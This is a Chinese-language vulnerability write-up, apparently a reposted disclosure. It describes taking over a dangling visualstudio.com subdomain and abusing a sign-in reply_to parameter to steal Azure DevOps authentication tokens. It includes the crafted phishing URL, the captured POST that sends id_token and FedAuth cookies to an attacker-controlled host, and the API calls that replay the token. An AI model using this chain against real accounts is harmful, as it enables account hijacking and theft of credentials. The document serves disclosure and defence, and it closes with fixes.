挖洞经验 | 通过域名劫持实现Azure DevOps账户劫持
字数 1365 2025-08-15 21:31:23

Azure DevOps子域名劫持漏洞分析与利用

漏洞概述

本漏洞涉及微软Azure DevOps服务中的一个子域名劫持(Subdomain Takeover)漏洞,攻击者通过接管未正确配置的project-cascade.visualstudio.com子域名,进而实现Azure DevOps账户的一键劫持。

漏洞发现过程

子域名劫持检测

通过自动化测试发现project-cascade.visualstudio.com子域名的NS记录指向Azure DNS,但DNS查询返回Refused状态:

dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns3-05.azure-dns.org status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns2-05.azure-dns.net status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns1-05.azure-dns.com status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns4-05.azure-dns.info status: [Refused]

这表明该子域名在Azure DNS中的注册指向为空,可以被攻击者接管。

域名接管实施

  1. 使用Azure账户注册接管该子域名
  2. 添加两条DNS记录:
    • TXT记录:txt.project-cascade.visualstudio.com(包含POC信息)
    • A记录:arec.project-cascade.visualstudio.com(指向攻击者控制的IP 3.88.203.203)

验证DNS记录:

$ dig txt txt.project-cascade.visualstudio.com @1.1.1.1
;; ANSWER SECTION:
txt.project-cascade.visualstudio.com. 10 IN TXT "Azure DNS Zone Takeover POC"

$ dig a arec.project-cascade.visualstudio.com @1.1.1.1
;; ANSWER SECTION:
arec.project-cascade.visualstudio.com. 2475 IN A 3.88.203.203

漏洞利用分析

身份验证流程分析

微软开发者网站子域通过login.microsoftonline.com进行身份校验,典型流程如下:

  1. 访问app.vssps.visualstudio.com/_signin
  2. 跳转到login.microsoftonline.com进行身份校验
  3. 关键参数:
    • realm=app.vsaex.visualstudio.com
    • reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F

漏洞利用构造

构造恶意URL,将reply_to参数修改为攻击者控制的子域:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

攻击流程

  1. 受害者访问恶意URL
  2. 系统跳转到正常的Microsoft登录页面
  3. 如果受害者已登录,系统会自动向攻击者控制的域名发送POST请求,包含身份验证token:
POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.project-cascade.visualstudio.com
...
id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>

账户劫持

利用获取的token,攻击者可以:

  1. 获取用户邮箱信息:
GET /_apis/User/User HTTP/1.1
Host: app.vsaex.visualstudio.com
Authorization: Bearer <snip just recieved bearer token>

响应包含用户邮箱:

{"descriptor":"msa.NTg0Zjc4NDAtYzc5ZC03MWU0LWJkN2ItMDZhY2Y1N2Q2OTA1","displayName":"s","mail":"<account_email>",...}
  1. 访问用户Azure DevOps项目:
GET /seanyeoh/_usersSettings/keys?__rt=fps&__ver=2 HTTP/1.1
Host: dev.azure.com
authorization: Bearer <snip>

潜在危害

  1. 完全账户劫持:攻击者可完全控制受害者Azure DevOps环境
  2. 邮件拦截:通过设置MX记录拦截发送到*.project-cascade.visualstudio.com的邮件
  3. SSL证书欺诈:为子域名创建合法SSL证书,实施中间人攻击
  4. 一键点击攻击:通过精心构造的链接实现一键劫持

修复建议

  1. 域名重新注册:微软应重新注册project-cascade.visualstudio.com子域名
  2. Token限制:限制app.vssps.visualstudio.comreply_to参数生成的token只能用于app.vsaex.visualstudio.com
  3. DNS监控:实施子域名DNS配置监控,防止类似劫持
  4. 身份验证强化:增加对跳转目标域名的严格验证

防御措施

对于Azure DevOps用户:

  • 警惕不明来源的visualstudio.com链接
  • 使用多重身份验证保护账户
  • 定期检查账户活动日志

对于企业管理员:

  • 监控企业域名下的所有子域名
  • 实施严格的DNS记录管理策略
  • 定期进行子域名劫持漏洞扫描
Azure DevOps子域名劫持漏洞分析与利用 漏洞概述 本漏洞涉及微软Azure DevOps服务中的一个子域名劫持(Subdomain Takeover)漏洞,攻击者通过接管未正确配置的 project-cascade.visualstudio.com 子域名,进而实现Azure DevOps账户的一键劫持。 漏洞发现过程 子域名劫持检测 通过自动化测试发现 project-cascade.visualstudio.com 子域名的NS记录指向Azure DNS,但DNS查询返回 Refused 状态: 这表明该子域名在Azure DNS中的注册指向为空,可以被攻击者接管。 域名接管实施 使用Azure账户注册接管该子域名 添加两条DNS记录: TXT记录: txt.project-cascade.visualstudio.com (包含POC信息) A记录: arec.project-cascade.visualstudio.com (指向攻击者控制的IP 3.88.203.203) 验证DNS记录: 漏洞利用分析 身份验证流程分析 微软开发者网站子域通过 login.microsoftonline.com 进行身份校验,典型流程如下: 访问 app.vssps.visualstudio.com/_signin 跳转到 login.microsoftonline.com 进行身份校验 关键参数: realm=app.vsaex.visualstudio.com reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F 漏洞利用构造 构造恶意URL,将 reply_to 参数修改为攻击者控制的子域: 攻击流程 受害者访问恶意URL 系统跳转到正常的Microsoft登录页面 如果受害者已登录,系统会自动向攻击者控制的域名发送POST请求,包含身份验证token: 账户劫持 利用获取的token,攻击者可以: 获取用户邮箱信息: 响应包含用户邮箱: 访问用户Azure DevOps项目: 潜在危害 完全账户劫持 :攻击者可完全控制受害者Azure DevOps环境 邮件拦截 :通过设置MX记录拦截发送到 *.project-cascade.visualstudio.com 的邮件 SSL证书欺诈 :为子域名创建合法SSL证书,实施中间人攻击 一键点击攻击 :通过精心构造的链接实现一键劫持 修复建议 域名重新注册 :微软应重新注册 project-cascade.visualstudio.com 子域名 Token限制 :限制 app.vssps.visualstudio.com 中 reply_to 参数生成的token只能用于 app.vsaex.visualstudio.com 域 DNS监控 :实施子域名DNS配置监控,防止类似劫持 身份验证强化 :增加对跳转目标域名的严格验证 防御措施 对于Azure DevOps用户: 警惕不明来源的visualstudio.com链接 使用多重身份验证保护账户 定期检查账户活动日志 对于企业管理员: 监控企业域名下的所有子域名 实施严格的DNS记录管理策略 定期进行子域名劫持漏洞扫描